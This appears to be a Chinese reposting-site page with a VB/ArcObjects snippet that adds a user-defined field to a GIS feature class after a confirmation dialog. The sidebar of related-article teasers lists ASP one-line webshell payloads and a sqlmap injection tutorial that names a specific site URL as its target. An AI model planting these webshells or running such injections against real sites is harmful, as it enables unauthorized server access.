添加和删除字段(vb)

摘要:
SetpFieldsEdit=featLayer。FeatureClass。FieldsstrFieldInfo=“”SetpField=NewFieldSetpFieldEdit=pFieldWithpFieldEdit。名称=txtFieldname。TextstrFieldInfo=strFieldInfo&“字段名:”&txtFieldname。文本类型=setFieldTy

Set pFieldsEdit = featLayer.FeatureClass.Fields

  strFieldInfo = ""

  Set pField = New Field

  Set pFieldEdit = pField

  With pFieldEdit

    .Name = txtFieldname.Text

    strFieldInfo = strFieldInfo & "字段名:            " & txtFieldname.Text

    .Type = setFieldType(cmb_FieldType.Text)

    strFieldInfo = strFieldInfo & Chr(13) & "字段类型:        " & cmb_FieldType.Text

    If txt_precision.Text <> "" Then

      .Precision = Val(txt_precision.Text)

      strFieldInfo = strFieldInfo & Chr(13) & "有效数字位数: " & txt_precision.Text

    End If

    If txt_Scale.Text <> "" Then

      .Scale = Val(txt_Scale.Text)

      strFieldInfo = strFieldInfo & Chr(13) & "小数点位数:     " & txt_Scale.Text

    End If

    .IsNullable = chk_NullAble.value

    If chk_NullAble.value = 0 Then

      strFieldInfo = strFieldInfo & Chr(13) & "是否允许为空: " & "否"

    ElseIf chk_NullAble.value = 1 Then

      strFieldInfo = strFieldInfo & Chr(13) & "是否允许为空: " & "是"

    End If

  End With

  '要求用户再确认一次字段的信息

  flag = MsgBox("你确定要添加该字段吗?" & Chr(13) & strFieldInfo, vbOKCancel)

  If flag = vbOK Then

    pFieldsEdit.addField pField

    txt_precision.Text = ""

    txt_Scale.Text = ""

    txtFieldname = ""

  End If

  txtFieldname.SetFocus

  txtFieldname.SelStart = 0

  txtFieldname.SelLength = Len(txtFieldname.Text)

免责声明:文章转载自《添加和删除字段(vb)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇npm安装包卡住不动的解决python函数基础用法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

一句话木马:ASP篇

ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%> <%execute(request("chopper"))%> <%ExecuteGlobal request("chopper")%> <%Eval(Reque...

新破天一剑合区SQL(半成品)

--可以合区,但合区后人物的东西消失了  -_-!! --存在这里,供以后遇到相关需要时翻查。 --[user]的触发器 CREATE TRIGGER update_chr ON dbo.[user] FOR insert ASBEGIN                  update [user] set chr2=chr1+1, chr3=chr1+2...

用VBA去除Excel工作表保护密码

今天帮同事解决个EXCEL问题,现记在这,以作备忘 现象: 想要修改保护单元 格的内容,在使用“工具”菜单“保护”子菜单的“撤消工作表保护”命令,这时要求输入密码。 解决方案:网上找到一文http://www.excel123.cn/Article/excelvba/200812/126.html 1.按Alt+F11,打开VBA编辑器。...

[转帖]javascript版 UrlEncode和UrlDecode函数

VBScript<script language="vbscript">Function str2asc(strstr)     str2asc = hex(asc(strstr)) End Function Function asc2str(ascasc)     asc2str = chr(ascasc) End Function<...

kali之sql注入

ASP:1.网址后面加上一撇 ' 报错 and 1=1 正常显示,and1=2报错 网址:http://www.kfzhongzhou.com/cyjb_xx.asp?id=14 (get注入)2.kali Linux打开终端 输入命令 sqlmap -u 网址 --dbs --current-user (-u 输入目标网址 --dbs表示所有的数据库)3...

C++中减去'0'的作用( -'0' )

标题没有在卖萌→_→ 我们在日常研(chao)究(xi)大佬们的代码时,可能会遇到减去字符'0'的情况,比如下图,这种语法问题吧说简单它不那么简单,毕竟不好理解;但说难吧也不难,其实就是让代码更简洁更有逼格的途径而已。 说了那么多屁话那么这个减去零到底是干啥的呢? 它的作用就是减去0的ASCII值:48。可以方便的用来转换大小写或者数字和和字符。比如我们可...